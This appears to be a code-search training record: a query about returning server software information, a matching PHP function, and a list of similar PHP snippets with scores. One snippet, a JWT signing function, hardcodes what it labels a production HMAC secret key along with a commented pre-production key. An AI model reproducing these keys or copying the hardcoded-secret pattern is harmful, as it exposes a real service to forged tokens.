$v;\n\t\t\t}\n\t\t}\n\n\t\t$sigData[] = phpversion();\n\t\t$sigData[] = get_current_user();\n\t\t$sigData[] = php_uname('s') . php_uname('n') . php_uname('m') . PHP_OS . PHP_SAPI . ICONV_IMPL . ICONV_VERSION;\n\t\t$sigData[] = sha1_file(__FILE__);\n\n\t\t$finHash = implode($sigData);\n\t\t$finHash = sha1(str_ireplace(' ', '', $finHash) . strlen($finHash) . metaphone($finHash));\n\t\t$finHash = sha1($finHash);\n\n\t\treturn $finHash;\n\t}", "public function getSigAlgo()\n {\n return $this->sig_algo;\n }", "public function getSponsorlogo() {}", "public function getSignature($params = array())\n {\n return $this->getClient()->getSignature($params);\n }", "public function mefSignature() {\r\n\t$encoded_header = base64_encode('{\"alg\": \"HS512\",\"typ\": \"JWT\"}');\r\n\t$iss = 'CISCAR';\r\n\tif(isset($_GET['annuaire']) && $_GET['annuaire'] == 2 )\r\n\t{\r\n\t\t\t$iss = 'GCR';\r\n\t}\r\n\t// base64 encodes the payload json\r\n\t$encoded_payload = base64_encode('{\r\n\t\t\t\"iat\": \"'.time().'\",\r\n\t\t\t\"iss\": \"'.$iss.'\",\r\n\t\t\t\"aud\": \"https://boxstva-client.stva.com\",\r\n\t\t\t\"sub\": \"'.$this->getIndividuID().'\",\r\n\t\t\t\"family_name\": \"'.utf8_encode($this->getNom()).'\",\r\n\t\t\t\"given_name\": \"'.utf8_encode($this->getPrenom()).'\",\r\n\t\t\t\"ordering_party\": \"'.$this->getRolePrinc().'\",\r\n\t\t\t\"entities\": \"'.$this->getRattachements().'\"\r\n\t\t}');\r\n\t\r\n\t// base64 strings are concatenated to one that looks like this\r\n\t$header_payload = $encoded_header . '.' . $encoded_payload;\r\n\t\r\n\t//Setting the secret key environnement de Pre-PROD\r\n\t//\"aud\": \"http://box-gcr-pp.stva.com.s3-website-eu-west-1.amazonaws.com\",\r\n\t//$secret_key = '+XgiH7AFTCCUSbuFyMiqYThoStVW7etx32VRhSAKvCrqZPK2rZ4r1gtXoBlZHEismbALi8KKdmdRd3MnoH/19nfwIOV0+tX8blaUy/cQLxCQmfL8BlWuDutdegs72js2zvGpbS1YxXgjWhd4RjsVPn0HSL7q3EBJBORwAELOpI4GZuqSCn1n/R/veZiq7giAv7Gxi+J1A+EOTXtOzZSiQa/tYvcm6xaPTNPzP9HdgxAeKMN4FV44dG+Q66wD14WYOBAo1IPHKvAdWSS53uwRVAb7HDDfflVLcib851LG7fLC6JXaUmdK0iTEU3qJV32wzlF5phax9t16GdJfmCqAxJDMHx0iIVtZYajZPHnPYzXoHHCSilHmPoPZZkmKjlC12L1m87QKVySqP9K3J9fORW+Tn3QIkIcvl+GA4vqomk7/eVP8NT9MwIOvV9pjMJl+cGIoIYYQZmqQ3+Pa7d1NjV0bx6I9WlJNAKYxC5zFvVzqlx5j/H5Wq91WLOrZZNGaE/kygrLmyCYWQiCNzNbwvEsAgCPUgGy0o9o2itVEL4zwzRWPrNDp4fivhMA87QzbzFkDvX9B6PBb1R/3EFy1uSAk22ovyK/fMmN6GRTNeDQdGRi/U64Ys9mA+UjzBi22gy8ZIgFfcnCfJIinMO5PCh2BJ2AQq3kKxe4AMEQmeno=';\r\n\r\n\t//Setting the secret key environnement de PRODUCTION\r\n\t//\"aud\": \"https://boxstva-client.stva.com\",\r\n\t$secret_key = 'Rn2ZvoU+dTOtpE/BOUEuMaf65G2l7lA1nDJV56hmLcl17Y6F2EPCSIrKRCCVWc/Zda7m5Bp/g9BYUIRVTvgmtlcghGRBtswGFwMjq0Ye4QVtmpa8qZBI0sTHGjnbwTvmqZmf1v2TAcJWsAIJsRcoX0IchGvhaEKUMnLAXAUQT4mBhSdUY7H/ZckUthciFveKtxvmKMfjOLJNqciD8fVapuzQBqSRzFhTifVceLG1EmouRnoE5vg3RERwEhpVqFmt0fo+VCOinAR0nHG5Nq0XWXUTmGGsbOcDljLxz+oLAN28cffMc+6OfxkRX3L5ILId3pHMvV+MJns9FCZSA6+u87s3K31fLARCvVP6aVXXRn+M6CGBLxjQtbGopeQCHBRaliNxGr5LJIAkLFusBeG7jqIpGToxqy+D87tiYrg1zG2iRFTkKtvMJRZxdEkCnwJx4jOmuVboKCdtAqCQNX9e4I6jKp+Gs8edSbbV+17TY422DqV+sOXIxMA6udZ1vWm9eDE25dVVoRfiQXC7U/BLEGkV3ocs5du15nD1+NEODqlrVW+2WceQ1yQcSF4hRsU7Wk1pJ+aMRvFkx6PV028nSLExxTTPkxw07BmmDU5W9E6KbLB1/NFtseSyzgxTacGlFEVxmS+Zq846NLcNTrwQuM15Bub4zAy1N8Qv2NeQs4I=';\r\n\t\r\n\t// Creating the signature, a hash with the s512 algorithm and the secret key. The signature is also base64 encoded.\r\n\t$signature = base64_encode(hash_hmac('sha512', $header_payload, $secret_key, true));\r\n\t//$signature = hash_hmac('sha512', $header_payload, $secret_key, true);\r\n\t\r\n\t// Creating the JWT token by concatenating the signature with the header and payload, that looks like this:\r\n\t$jwt_token = $header_payload . '.' . $signature;\r\n\t\r\n\t//listing the resulted JWT\r\n\t//echo $jwt_token;\r\n\t//print $jwt_token;\r\n\treturn $jwt_token;\r\n\t\r\n\t//$decoded_jwt = explode(\".\",$jwt_token);\r\n\t//$decoded_header = base64_decode($decoded_jwt[0]);\r\n\t//$decoded_payload = base64_decode($decoded_jwt[1]);\r\n\t//$decoded_signature = base64_decode($decoded_jwt[2]);\r\n\t//echo $decoded_signature;\r\n\t\r\n\t//die();\r\n\r\n\r\n//\t\t$data = 'my data';\r\n\t\t\r\n//\t\t//Crée une nouvelle clé privée et publique\r\n//\t\t$new_key_pair = openssl_pkey_new(array(\r\n//\t\t\t\t\"private_key_bits\" => 1024,\r\n//\t\t\t\t\"private_key_type\" => OPENSSL_KEYTYPE_RSA,\r\n//\t\t));\r\n//\t\topenssl_pkey_export($new_key_pair, $private_key_pem);\r\n\t\t\r\n//\t\t$details = openssl_pkey_get_details($new_key_pair);\r\n//\t\t$public_key_pem = $details['key'];\r\n\t\t\r\n//\t\t//Création de la signature\r\n//\t\topenssl_sign($data, $signature, $private_key_pem, OPENSSL_ALGO_SHA1);\r\n\t\t\r\n//\t\t//Sauvegarde pour utilisation ultérieur\r\n//\t\tfile_put_contents('private_key.pem', $private_key_pem);\r\n//\t\tfile_put_contents('public_key.pem', $public_key_pem);\r\n//\t\tfile_put_contents('signature.dat', $signature);\r\n//\t\tprint $private_key_pem;\r\n//\t\t//Vérification de la signature\r\n//\t\t$r = openssl_verify($data, $signature, $public_key_pem, \"sha1WithRSAEncryption\");\r\n//\t\tvar_dump($r);\r\n\t}", "public function getMpiSignature()\n {\n /** @var $oPmModule oxModule|OxpsPaymorrowModule */\n $oPmModule = oxRegistry::get( 'OxpsPaymorrowModule' );\n\n return sprintf(\n 'Oxid-%s_%s',\n $this->getConfig()->getVersion(), // Shop Version\n $oPmModule->getPaymorrowModuleVersion() // Paymorrow Module version\n );\n }", "protected function generateSignature()\n {\n // set the expire time to 5 minutes\n $expires = time() + 300;\n\n // put the parameters in a different line\n $stringToSign = $this->accessID.\"\\n\".$expires;\n\n // get the binary output of the hmac has\n $binarySignature = hash_hmac('sha1', $stringToSign, $this->secretKey, true);\n\n // Base64-encode and url-encode\n $urlSafeSignature = urlencode(base64_encode($binarySignature));\n\n return array('expires' => $expires, 'signature' => $urlSafeSignature);\n }", "function sloodle_signature($data) {\n \tglobal $CFG;\n\n $salt = '';\n if ( isset($CFG->sloodle_signature_salt) && ($CFG->sloodle_signature_salt != '' ) ) {\n $salt = $CFG->sloodle_signature_salt;\n } else {\n $salt = random_string(40);\n set_config('sloodle_signature_salt', $salt);\n }\n\n if (function_exists('hash_hmac')) {\n return hash_hmac('sha256', $data, $salt);\n }\n return sloodle_custom_hmac('sha1', $data, $salt);\n }", "public function getHashSignedById(): string;", "function server() {\n\tif(isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {\n\n\t\t$protocol = 'https://'; // The current URL scheme uses https\n\n\t} else {\n\n\t\t$protocol = 'http://'; // The current URL scheme uses http\n\n\t}\n\n\tdefine('HTTP', $protocol); // Create a constant called HTTP and append the $protocol variable to it.\n\tdefine('SERVER_NAME', $_SERVER['SERVER_NAME']); // Create a constant called SERVER_NAME and append $_SERVER['SERVER_NAME'] to it\n\tdefine('REQUEST_URI', $_SERVER['REQUEST_URI']); // Create a constant called REQUEST_URI and append $_SERVER['REQUEST_URI'] to it\n\n\t$uri = strtr($_SERVER['PHP_SELF'], ['/index.php' => '']);\n\n\tdefine('LINK', HTTP . SERVER_NAME . $uri); // Create a constant called LINK and append both HTTP and SERVER_NAME\n\tdefine('AUTHOR', '<br><br> &copy; 2019 <a href=\"https://sitepoint.com/community/u/spaceshiptrooper\">spaceshiptrooper</a>');\n\tdefine('SEPARATOR', '<span class=\"separator p-r-10\"></span>');\n\n}", "public function getSigningKey()\n\t\t\t{\n\t\t\t\treturn $this->signingKey;\n\t\t\t}", "public function getServerUrl()\n { \n return $this->_shoptimallyDomain;\n }", "public function signature()\n {\n return 'Vero: ' . \\Vero\\Version::VERSION;\n }" ]
[ "0.64923227", "0.6383859", "0.6383859", "0.6373031", "0.6329084", "0.62366974", "0.6089666", "0.60710776", "0.60570353", "0.6019753", "0.60176116", "0.59977907", "0.59977907", "0.59977907", "0.59977907", "0.59977907", "0.5948271", "0.59415567", "0.5914705", "0.58922476", "0.58852494", "0.5874494", "0.58423454", "0.5745416", "0.57379985", "0.5724754", "0.5685636", "0.5642927", "0.56422764", "0.56326514", "0.5602885", "0.55944955", "0.55793464", "0.55534786", "0.5519636", "0.5515197", "0.5515046", "0.5501277", "0.5494824", "0.54507333", "0.54321325", "0.5407152", "0.5407152", "0.5402542", "0.5333455", "0.5333455", "0.531276", "0.52843076", "0.52615225", "0.52535975", "0.5251618", "0.52450585", "0.5230608", "0.52299213", "0.521021", "0.5198263", "0.5195807", "0.5195807", "0.51938957", "0.5190304", "0.5172522", "0.5167135", "0.51666844", "0.51648927", "0.51626736", "0.5158723", "0.5158723", "0.5157985", "0.51538277", "0.51231796", "0.5120741", "0.51195157", "0.5119253", "0.5119253", "0.5107371", "0.5075765", "0.507505", "0.50728154", "0.50722724", "0.50669354", "0.50537395", "0.50512147", "0.50426704", "0.5037823", "0.5023433", "0.5017539", "0.50140584", "0.50132895", "0.50114274", "0.50071454", "0.49881452", "0.49796957", "0.49707562", "0.49706563", "0.49515337", "0.49502298", "0.49445263", "0.4944108", "0.49383754", "0.49302292" ]
0.7002486
0
Returns information about the current server software.
public static function getSoftwareInfo() { return MHTTPD::$info['software']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function software() \n\t{\n\t\treturn $this->server( 'SERVER_SOFTWARE' );\n\t}", "public function getServerInfo()\n {\n return $this->sendServerCommand(\"serverinfo\");\n }", "public static function detectServerSoftware()\n\t{\n\n\t\tif(preg_match('/^lighttpd/', $_SERVER['SERVER_SOFTWARE']))\n\t\t{\n\t\t\treturn self::LIGHTTPD;\n\t\t}\n\n\t\tif(preg_match('/^Apache/', $_SERVER['SERVER_SOFTWARE']))\n\t\t{\n\t\t\treturn self::APACHE;\n\t\t}\n\n\t\treturn self::OTHER;\n\t}", "private function getSysInfo(){\r\n $array = array('version' => phpversion(),\r\n 'system info' =>array('server name' => $_SERVER['SERVER_NAME'],\r\n 'server software' => $_SERVER['SERVER_SOFTWARE'],\r\n 'browser' => $_SERVER['HTTP_USER_AGENT']\r\n )\r\n \r\n );\r\n return $array;\r\n }", "public function getInfo() {\r\n\t\t$response = $this->Client->execute('show version');\r\n\t\treturn $response;\r\n\t}", "public function getServerInfo() {\n\t\treturn $this->getServerVersion();\n\t}", "function tep_get_system_information() {\n global $_SERVER;\n\n $db_query = tep_db_query(\"select now() as datetime\");\n $db = tep_db_fetch_array($db_query);\n\n list($system, $host, $kernel) = preg_split('/[\\s,]+/', @exec('uname -a'), 5);\n\n return array('date' => tep_datetime_short(date('Y-m-d H:i:s')),\n 'system' => $system,\n 'kernel' => $kernel,\n 'host' => $host,\n 'ip' => gethostbyname($host),\n 'uptime' => @exec('uptime'),\n 'http_server' => $_SERVER['SERVER_SOFTWARE'],\n 'php' => PHP_VERSION,\n 'zend' => (function_exists('zend_version') ? zend_version() : ''),\n 'db_server' => DB_SERVER,\n 'db_ip' => gethostbyname(DB_SERVER),\n 'db_version' => 'MySQL ' . (function_exists('mysql_get_server_info') ? mysql_get_server_info() : ''),\n 'db_date' => tep_datetime_short($db['datetime']));\n}", "function olc_get_system_information() {\n\n\t$db_query = olc_db_query(SELECT.\"now() as datetime\");\n\t$db = olc_db_fetch_array($db_query);\n\n\tlist($system, $host, $kernel) = preg_split('/[\\s,]+/', @exec('uname -a'), 5);\n\n\treturn array('date' => olc_datetime_short(date('Y-m-d H:i:s')),\n\t'system' => $system,\n\t'kernel' => $kernel,\n\t'host' => $host,\n\t'ip' => gethostbyname($host),\n\t'uptime' => @exec('uptime'),\n\t'http_server' => $_SERVER['SERVER_SOFTWARE'],\n\t'php' => PHP_VERSION,\n\t'zend' => (function_exists('zend_version') ? zend_version() : EMPTY_STRING),\n\t'db_server' => DB_SERVER,\n\t'db_ip' => gethostbyname(DB_SERVER),\n\t'db_version' => 'MySQL ' . (function_exists('mysql_get_server_info') ? mysql_get_server_info() : EMPTY_STRING),\n\t'db_date' => olc_datetime_short($db['datetime']));\n}", "public function getInfo()\n {\n return php_uname();\n }", "public function getInfo()\n {\n return $this->getServer()->getInfo();\n }", "public function getSoftwareName()\n {\n return $this->getParam(self::SOFTWARE_PARAM_NAME);\n }", "public function getOperatingSystem() {\n\t\ttry {\n\t\t\t// Setup\n\t\t\t$result = '';\n\t\t\t$cmd = 'sw_vers';\n\t\t\t\n\t\t\t// Execute Command/Parse Results\n\t\t\tself::execute($cmd, $output);\n\t\t\t\n\t\t\t$name = explode(':', $output[0]);\n\t\t\t$name = trim($name[1]);\n\t\t\t\n\t\t\t$version = explode(':', $output[1]);\n\t\t\t$version = trim($version[1]);\n\t\t\t\n\t\t\t$result = $name . ' (' . $version . ')';\n\t\t\treturn $result;\n\t\t}\n\t\tcatch(\\Exception $ex) {\n\t\t\t\\Bedrock\\Common\\Logger::exception($ex);\n\t\t}\n\t}", "public function getSoftwareConfig()\n {\n return $this->software_config;\n }", "public function getServerSoftware(): string\n {\n return \"Magma\";\n }", "function serverInfo() {\n\t}", "public static function getServerStatusInfo()\n\t{\n\t\treturn array(\n\t\t\tMHTTPD::getSoftwareInfo(),\n\t\t\tdate('r', MHTTPD::$info['launched']),\n\t\t\tMHTTPD::getStatCount('up', true),\n\t\t\tMHTTPD::getStatCount('down', true),\n\t\t\tMHTTPD::getClientsSummary(),\n\t\t\tMFCGI::getScoreboard(true),\n\t\t\tMHTTPD::getAbortedSummary(),\n\t\t\tMHTTPD::getHandlers(true),\n\t\t\tMHTTPD::getSignature(),\n\t\t);\n\t}", "function getServerInfo() {\n $serverInfo = mysql_get_server_info();\n return $serverInfo;\n }", "public function getSysInfo() : array;", "protected function systemInfo()\n {\n $this->osname = php_uname('s');\n $this->hostname = php_uname('n');\n $this->osrelease = php_uname('r');\n $this->osversion = php_uname('v');\n $this->ostype = php_uname('m');\n }", "public function GetServerInfo()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->server_info; \r\n }", "function ServerInfo() {}", "protected static function getShopwareSystemInfo()\n {\n /** @var Configuration $config */\n $config = ServiceRegister::getService(Configuration::CLASS_NAME);\n\n $result['Shopware version'] = $config->getECommerceVersion();\n $result['theme'] = static::getShopTheme();\n $result['admin url'] = Shopware()->Front()->Router()->assemble(['module' => 'backend']);\n $result['async process url'] = $config->getAsyncProcessUrl('test');\n $result['plugin version'] = $config->getModuleVersion();\n $result['webhook_url'] = $config->getWebHookUrl();\n\n return json_encode($result, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);\n }", "function tep_get_system_information() {\n $OSCOM_Db = Registry::get('Db');\n\n $Qdate = $OSCOM_Db->query('select now() as datetime');\n\n @list($system, $host, $kernel) = preg_split('/[\\s,]+/', @exec('uname -a'), 5);\n\n $data = array();\n\n $data['oscommerce'] = array('version' => OSCOM::getVersion());\n\n $data['system'] = array('date' => date('Y-m-d H:i:s O T'),\n 'os' => PHP_OS,\n 'kernel' => $kernel,\n 'uptime' => @exec('uptime'),\n 'http_server' => $_SERVER['SERVER_SOFTWARE']);\n\n $data['mysql'] = array('version' => $OSCOM_Db->getAttribute(\\PDO::ATTR_SERVER_VERSION),\n 'date' => $Qdate->value('datetime'));\n\n $data['php'] = array('version' => PHP_VERSION,\n 'zend' => zend_version(),\n 'sapi' => PHP_SAPI,\n 'int_size'\t=> defined('PHP_INT_SIZE') ? PHP_INT_SIZE : '',\n 'safe_mode'\t=> (int) @ini_get('safe_mode'),\n 'open_basedir' => (int) @ini_get('open_basedir'),\n 'memory_limit' => @ini_get('memory_limit'),\n 'error_reporting' => error_reporting(),\n 'display_errors' => (int)@ini_get('display_errors'),\n 'allow_url_fopen' => (int) @ini_get('allow_url_fopen'),\n 'allow_url_include' => (int) @ini_get('allow_url_include'),\n 'file_uploads' => (int) @ini_get('file_uploads'),\n 'upload_max_filesize' => @ini_get('upload_max_filesize'),\n 'post_max_size' => @ini_get('post_max_size'),\n 'disable_functions' => @ini_get('disable_functions'),\n 'disable_classes' => @ini_get('disable_classes'),\n 'enable_dl'\t=> (int) @ini_get('enable_dl'),\n 'filter.default' => @ini_get('filter.default'),\n 'default_charset' => @ini_get('default_charset'),\n 'mbstring.func_overload' => @ini_get('mbstring.func_overload'),\n 'mbstring.internal_encoding' => @ini_get('mbstring.internal_encoding'),\n 'unicode.semantics' => (int) @ini_get('unicode.semantics'),\n 'zend_thread_safty'\t=> (int) function_exists('zend_thread_id'),\n 'opcache.enable' => @ini_get('opcache.enable'),\n 'extensions' => get_loaded_extensions());\n\n return $data;\n }", "public function getServerInfo(){\n return mysql_get_server_info($this->connection);\n }", "function getServerInfo();", "public function license_info() {\n\t\treturn $this->make_request( 'GET', 'license/info' );\n\t}", "public function getVersion(){\n return mysqli_get_server_info( $this->resourceId );\n }", "private function get_server_data() {\n\t\tglobal $wp_version;\n\t\t$data = [\n\t\t\t'server' => [\n\t\t\t\t'name' => esc_html__( 'PHP Version', 'Avada' ),\n\t\t\t\t'value' => phpversion(),\n\t\t\t],\n\t\t\t'php' => [\n\t\t\t\t'name' => esc_html__( 'Server Software', 'Avada' ),\n\t\t\t\t'value' => isset( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_SOFTWARE'] ) ) : '',\n\t\t\t],\n\t\t\t'wp' => [\n\t\t\t\t'name' => esc_html__( 'WordPress Version', 'Avada' ),\n\t\t\t\t'value' => $wp_version,\n\t\t\t],\n\t\t\t'avada_ver' => [\n\t\t\t\t'name' => esc_html__( 'Avada Version', 'Avada' ),\n\t\t\t\t'value' => ( defined( 'AVADA_VERSION' ) ) ? AVADA_VERSION : '',\n\t\t\t],\n\t\t\t'url' => [\n\t\t\t\t'name' => esc_html__( 'Encrypted Site URL', 'Avada' ),\n\t\t\t\t'value' => md5( site_url() ),\n\t\t\t],\n\t\t\t'token' => [\n\t\t\t\t'name' => esc_html__( 'Token', 'Avada' ),\n\t\t\t\t'value' => class_exists( 'Avada' ) ? Avada()->registration->get_token() : '',\n\t\t\t],\n\t\t];\n\t\treturn $data;\n\t}", "public function shopsystemInfoAction()\n\t{\n $this->checkShopToken();\n \n $shopsystem = 'shopware';\n $shopsystem_human = Shopware()->App().' '.Shopware()->Config()->version;\n $shopsystem_version = Shopware()->Config()->version;\n $api_version = Shopware_Plugins_Frontend_EasymIntegration_Bootstrap::getVersion();\n \n $jsondata = array(\n 'shopsystem' => $shopsystem,\n 'shopsystem_human' => $shopsystem_human,\n 'shopsystem_version' => $shopsystem_version,\n 'api_version' => $api_version \n );\n \n $this->printOutput($jsondata);\n }", "public function getOS()\n {\n return $this->getParam(self::SOFTWARE_OS_PARAM_NAME);\n }", "public function info()\n {\n return $this->send('info');\n }", "public function getVersion() {\n return mysql_get_server_info();\n }", "function statistics_client_info() {\n $n_users = db_query(\"SELECT count(uid) FROM {users}\")->fetchField();\n $software = $_SERVER['SERVER_SOFTWARE'];\n $phpversion = phpversion();\n $class = 'DatabaseTasks_' . Database::getConnection()->driver();\n $tasks = new $class();\n $dbname = '';\n $dbversion = '';\n $dbname = $tasks->name();\n $dbversion = Database::getConnection()->version();\n return array(\n 'client_version' => '0.01',\n 'time' => date('l jS \\of F Y h:i:s A'),\n 'drupal_version' => VERSION,\n 'web_server' => $software,\n 'php' => $phpversion,\n 'db' => $dbname . $dbversion,\n 'n_users' => $n_users,\n 'modules' => module_list(),\n );\n}", "private function getFirmwareVersion()\n {\n return $this->getRemote($this->RemoteQuery['ip'], \"SNMPv2-MIB::sysDescr.0\", $this->RemoteQuery['community'], \"STRING:\");\n }", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 5;\n $info['update_require_upgrade'] = true;\n $info['locked'] = false;\n return $info;\n }", "static public function grabWebserverInfos() {\n global $CFG_GLPI;\n\n $headers = false;\n $engine = '';\n $version = '';\n\n // check if host is present (do no throw php warning in contrary of get_headers)\n if (filter_var(gethostbyname(parse_url($CFG_GLPI['url_base'], PHP_URL_HOST)),\n FILTER_VALIDATE_IP)) {\n\n // Issue #3180 - disable SSL certificate validation (wildcard, self-signed)\n stream_context_set_default([\n 'ssl' => [\n 'verify_peer' => false,\n 'verify_peer_name' => false,\n ]\n ]);\n\n $headers = get_headers($CFG_GLPI['url_base']);\n }\n\n if (is_array($headers)) {\n //BEGIN EXTRACTING SERVER DETAILS\n $pattern = '#^Server:*#i';\n $matches = preg_grep($pattern, $headers);\n\n if (count($matches)) {\n $infos = current($matches);\n $pattern = '#Server: ([^ ]+)/([^ ]+)#i';\n preg_match($pattern, $infos, $srv_infos);\n if (count($srv_infos) == 3) {\n $engine = $srv_infos[1];\n $version = $srv_infos[2];\n }\n }\n }\n\n $server = [\n 'engine' => $engine,\n 'version' => $version\n ];\n\n return $server;\n }", "function getServerVersion();", "function database_get_server_info()\n {\n\t return ( function_exists('mysql_get_server_info') ? mysql_get_server_info($this->database_connection) : FALSE );\n\t}", "public function getServerExtList()\n {\n return $this->server_caps;\n }", "function info()\n\t{\n\t\t$info=array();\n\t\t$info['author']='Chris Graham';\n\t\t$info['organisation']='ocProducts';\n\t\t$info['hacked_by']=NULL;\n\t\t$info['hack_version']=NULL;\n\t\t$info['version']=4;\n\t\t$info['locked']=false;\n\t\t$info['parameters']=array();\n\t\t$info['update_require_upgrade']=1;\n\n\t\treturn $info;\n\t}", "public static function serverDetails()\n {\n return [\n 'base' => $_SERVER['SERVER_ADDR'],\n 'ip' => $_SERVER['REMOTE_ADDR'],\n 'port' => $_SERVER['REMOTE_PORT'],\n 'request_url' => $_SERVER['REQUEST_URI'],\n 'user agent' => $_SERVER['HTTP_USER_AGENT'],\n ];\n }", "public function get_info()\n {\n return $this->_request('getinfo');\n }", "public static function getServerInfo()\n\t{\n\t\t$pname = explode(':', stream_socket_get_name(MHTTPD::$listener, false));\n\t\t$info = array(\n\t\t\tMHTTPD::$config['Server']['address'],\n\t\t\t$pname[0], // address\n\t\t\t$pname[1], // port\n\t\t\tMHTTPD::$config['SSL']['enabled'],\n\t\t);\n\t\treturn $info;\n\t}", "function gethwinfo () {\n\t\t$ret[cpu] = server::cpu_info();\n\t\t$ret[mem] = round(server::mem_total() / 1024);\n\t\treturn $ret;\n\t\t\n\t}", "function jigoshop_system_info() {\n\t?>\n\t<div class=\"wrap jigoshop\">\n\t\t<div class=\"icon32 icon32-jigoshop-debug\" id=\"icon-jigoshop\"><br/></div>\n\t <h2><?php _e('System Information','jigoshop') ?></h2>\n\t <p>Use the information below when submitting technical support requests via <a href=\"http://support.jigoshop.com/\" title=\"Jigoshop Support\" target=\"_blank\">Jigoshop Support</a>.</p>\n\t\t<div id=\"tabs-wrap\">\n\t\t\t<ul class=\"tabs\">\n\t\t\t\t<li><a href=\"#versions\"><?php _e('Environment', 'jigoshop'); ?></a></li>\n\t\t\t\t<li><a href=\"#debugging\"><?php _e('Debugging', 'jigoshop'); ?></a></li>\n\t\t\t</ul>\n\t\t\t<div id=\"versions\" class=\"panel\">\n\t\t\t\t<table class=\"widefat fixed\">\n\t\t <thead>\t\t \n\t\t \t<tr>\n\t\t <th scope=\"col\" width=\"200px\"><?php _e('Software Versions','jigoshop')?></th>\n\t\t <th scope=\"col\">&nbsp;</th>\n\t\t </tr>\n\t\t \t</thead>\n\t\t \t<tbody>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('Jigoshop Version','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo jigoshop::get_var('version'); ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('WordPress Version','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php if (is_multisite()) echo 'WPMU'; else echo 'WP'; ?> <?php echo bloginfo('version'); ?></td>\n\t\t </tr>\n\t\t </tbody>\n\t\t <thead>\n\t\t <tr>\n\t\t <th scope=\"col\" width=\"200px\"><?php _e('Server','jigoshop')?></th>\n\t\t <th scope=\"col\"><?php echo (defined('PHP_OS')) ? (string)(PHP_OS) : 'N/A'; ?></th>\n\t\t </tr>\n\t\t </thead>\n\t\t \t<tbody>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('PHP Version','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php if(function_exists('phpversion')) echo phpversion(); ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('Server Software','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></td>\n\t\t </tr>\n\t\t \t</tbody>\n\t\t </table>\n\t\t\t</div>\n\t\t\t<div id=\"debugging\" class=\"panel\">\n\t\t\t\t<table class=\"widefat fixed\">\n\t\t <tbody>\n\t\t \t<tr>\n\t\t <th scope=\"col\" width=\"200px\"><?php _e('Debug Information','jigoshop')?></th>\n\t\t <th scope=\"col\">&nbsp;</th>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('UPLOAD_MAX_FILESIZE','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php \n\t\t \tif(function_exists('phpversion')) echo (jigoshop_let_to_num(ini_get('upload_max_filesize'))/(1024*1024)).\"MB\";\n\t\t ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('POST_MAX_SIZE','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php \n\t\t \tif(function_exists('phpversion')) echo (jigoshop_let_to_num(ini_get('post_max_size'))/(1024*1024)).\"MB\";\n\t\t ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('WordPress Memory Limit','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php \n\t\t \techo (jigoshop_let_to_num(WP_MEMORY_LIMIT)/(1024*1024)).\"MB\";\n\t\t ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('WP_DEBUG','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo (WP_DEBUG) ? __('On', 'jigoshop') : __('Off', 'jigoshop'); ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('DISPLAY_ERRORS','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php echo (ini_get('display_errors')) ? 'On (' . ini_get('display_errors') . ')' : 'N/A'; ?></td>\n\t\t </tr>\n\t\t <tr>\n\t\t <td class=\"titledesc\"><?php _e('FSOCKOPEN','jigoshop')?></td>\n\t\t <td class=\"forminp\"><?php if(function_exists('fsockopen')) echo '<span style=\"color:green\">' . __('Your server supports fsockopen.', 'jigoshop'). '</span>'; else echo '<span style=\"color:red\">' . __('Your server does not support fsockopen.', 'jigoshop'). '</span>'; ?></td>\n\t\t </tr>\n\t\t \t</tbody>\n\t\t </table>\n\t\t\t</div>\n\t\t</div> \n </div>\n <script type=\"text/javascript\">\n\tjQuery(function() {\n\t // Tabs\n\t\tjQuery('ul.tabs').show();\n\t\tjQuery('ul.tabs li:first').addClass('active');\n\t\tjQuery('div.panel:not(div.panel:first)').hide();\n\t\tjQuery('ul.tabs a').click(function(){\n\t\t\tjQuery('ul.tabs li').removeClass('active');\n\t\t\tjQuery(this).parent().addClass('active');\n\t\t\tjQuery('div.panel').hide();\n\t\t\tjQuery( jQuery(this).attr('href') ).show();\n\t\t\treturn false;\n\t\t});\n\t});\n\t</script>\n\t<?php\n}", "public function getVersion()\n {\n return $this->getParam(self::SOFTWARE_VER_PARAM_NAME);\n }", "public function db_server_info()\n {\n }", "public function getinfo()\n\t{\n\t\treturn $this->connect('getinfo');\n\t}", "function getInfo()\n {\n $info['name'] = _(\"TextMagic via HTTP\");\n $info['desc'] = _(\"This driver allows sending of messages through the TextMagic (http://api.textmagic.com) gateway, using the HTTP API\");\n\n return $info;\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return 